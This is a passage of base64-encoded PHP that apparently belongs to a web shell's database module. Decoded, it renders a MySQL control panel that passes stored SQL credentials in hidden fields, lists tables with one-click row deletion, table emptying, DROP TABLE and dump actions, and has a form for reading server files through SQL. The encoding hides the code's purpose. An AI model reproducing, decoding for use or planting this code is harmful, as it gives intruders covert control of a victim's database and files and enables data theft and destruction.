aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt
ZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dk
KSAuICJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9
XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiXCI+PGlucHV0IHR5cGU9XCJo
aWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRz
cWxfcG9ydCkgLiAiXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZh
bHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpIC4gIlwiPjxpbnB1dCB0eXBlPVwi
aGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMo
JHNxbF9vcmRlcikgLiAiXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIg
bmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIgLiAkc3FsX3RibF9scyAuICJcIj4mbmJzcDs8
Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2
YWx1ZT1cIiIgLiAkc3FsX3RibF9sZSAuICJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwi
IHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJv
cmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9
IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJv
d19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGZvciAoJGkgPSAwOyRpIDwgbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRlWzBdID09ICJhIikNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkcyA9ICJkIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkbSA9ICJhc2MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRzID0gImEiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICRtID0gImRlc2MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGVbMF0pKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRlWzBdID0gImEiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRlWzFdICE9ICR2
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiIC4gJHNxbF9zdXJsIC4g
InNxbF90Ymw9IiAuICRzcWxfdGJsIC4gIiZzcWxfdGJsX2xlPSIgLiAkc3FsX3RibF9sZSAuICIm
c3FsX3RibF9scz0iIC4gJHNxbF90YmxfbHMgLiAiJnNxbF9vcmRlcj0iIC4gJGVbMF0gLiAiJTIw
IiAuICR2IC4gIlwiPjxiPiIgLiAkdiAuICI8L2I+PC9hPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl
bHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+IiAuICR2IC4gIjwvYj48YSBocmVm
PVwiIiAuICRzcWxfc3VybCAuICJzcWxfdGJsPSIgLiAkc3FsX3RibCAuICImc3FsX3RibF9sZT0i
IC4gJHNxbF90YmxfbGUgLiAiJnNxbF90YmxfbHM9IiAuICRzcWxfdGJsX2xzIC4gIiZzcWxfb3Jk
ZXI9IiAuICRzIC4gIiUyMCIgLiAkdiAuICJcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9
aW1nJmltZz1zb3J0XyIgLiAkbSAuICJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1c
IiIgLiAkbSAuICJcIj48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2Zv
bnQ+PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RyPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0
Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+
IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3ID0gIiI7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcm93IGFzICRrID0+ICR2KQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHcgLj0gIiBgIiAuICRuYW1lIC4gImAg
PSAnIiAuIGFkZHNsYXNoZXMoJHYpIC4gIicgQU5EIjsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRyb3cp
ID4gMCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdyA9IHN1YnN0cigkdywgMCwgc3RybGVuKCR3
KSAtIDMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2ti
b3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIgLiAkdyAuICJcIj48L3RkPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcm93IGFzICRrID0+ICR2KQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID09ICIiKQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHYgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk5VTEw8L2ZvbnQ+IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkdiAuICI8L3RkPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNo
byAiPGEgaHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIgLiB1
cmxlbmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfdGJsX2xzPSIgLiAkc3FsX3RibF9scyAuICImc3Fs
X3RibF9sZT0iIC4gJHNxbF90YmxfbGUgLiAiJnNxbF9xdWVyeT0iIC4gdXJsZW5jb2RlKCJERUxF
VEUgRlJPTSBgIiAuICRzcWxfdGJsIC4gImAgV0hFUkUiIC4gJHcgLiAiIExJTUlUIDE7IikgLiAi
XCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIg
YWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwv
YT4mbmJzcDsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEg
aHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9IiAuIHVy
bGVuY29kZSgkc3FsX3RibCkgLiAiJnNxbF90YmxfbHM9IiAuICRzcWxfdGJsX2xzIC4gIiZzcWxf
dGJsX2xlPSIgLiAkc3FsX3RibF9sZSAuICImc3FsX3RibF9pbnNlcnRfcT0iIC4gdXJsZW5jb2Rl
KCR3KSAuICJcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBh
bHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4m
bmJzcDsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZD4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90cj4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249
XCJsZWZ0XCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIg
Ym9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8
L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9u
IHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRc
IiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3Nv
Y2spOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHJlc3VsdCkNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gbXlzcWxfc21hcnRlcnJvcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGZvcm0gbWV0
aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2
IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9y
TGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBu
YW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8
L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+
PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6
ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
JHRzaXplID0gJHRyb3dzID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hp
bGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVu
Z3RoIl0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5
cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIiAuICRyb3dbIk5hbWUi
XSAuICJcIj48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibD0iIC4gdXJsZW5j
b2RlKCRyb3dbIk5hbWUiXSkgLiAiXCI+PGI+IiAuICRyb3dbIk5hbWUiXSAuICI8L2I+PC9hPiZu
YnNwOzwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0
ZD4iIC4gJHJvd1siUm93cyJdIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjx0ZD4iIC4gJHJvd1siVHlwZSJdIC4gIjwvdGQ+IjsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iIC4gJHJvd1siQ3JlYXRlX3Rp
bWUiXSAuICI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8dGQ+IiAuICRyb3dbIlVwZGF0ZV90aW1lIl0gLiAiPC90ZD4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkc2l6ZSAuICI8L3RkPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1c
IiIgLiAkc3FsX3N1cmwgLiAic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9IiAuIHVybGVuY29kZSgi
REVMRVRFIEZST00gYCIgLiAkcm93WyJOYW1lIl0gLiAiYCIpIC4gIlwiPjxpbWcgc3JjPVwiIiAu
ICRzdXJsIC4gImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhl
aWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEg
aHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9IiAuIHVybGVu
Y29kZSgiRFJPUCBUQUJMRSBgIiAuICRyb3dbIk5hbWUiXSAuICJgIikgLiAiXCI+PGltZyBzcmM9
XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRHJvcFwi
IGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJl
Zj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9IiAuICRyb3db
Ik5hbWUiXSAuICJcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zcWxfYnV0
dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJv
cmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPsK7PC9iPjwv
Y2VudGVyPjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRk
PjxjZW50ZXI+PGI+IiAuICRpIC4gIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48Yj4iIC4gJHRyb3dzIC4gIjwv
Yj48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iIC4g
JHJvd1sxXSAuICI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
Ijx0ZD4iIC4gJHJvd1sxMF0gLiAiPC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8dGQ+IiAuICRyb3dbMTFdIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZWNobyAiPHRkPjxiPiIgLiB2aWV3X3NpemUoJHRzaXplKSAuICI8L2I+
PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PC90ZD4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9z
aGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZp
bWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+
V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlc
Ij5FbXB0eTwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
IjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNr
IHRhYmxlPC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAi
PG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJs
cmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxl
PC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9zZWxl
Y3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+
PC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0
KCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkYWN0cyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAiIiwNCiAgICAgICAgICAg
ICAgICAgICAgIm5ld2RiIiwNCiAgICAgICAgICAgICAgICAgICAgInNlcnZlcnN0YXR1cyIsDQog
ICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJ2YXJzIiwNCiAgICAgICAgICAgICAgICAgICAgInBy
b2Nlc3NlcyIsDQogICAgICAgICAgICAgICAgICAgICJnZXRmaWxlIg0KICAgICAgICAgICAgICAg
ICk7DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCAkYWN0cykpDQogICAg
ICAgICAgICAgICAgeyA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEi
Pjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9y
bSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZh
bHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0i
PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9
ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxj
aGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2Vy
dmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4i
PjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBo
dG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0i
c3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNy
ZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxl
OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNx
bF9hY3QiIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9n
aW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48
aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBo
dG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9z
ZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8
P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0
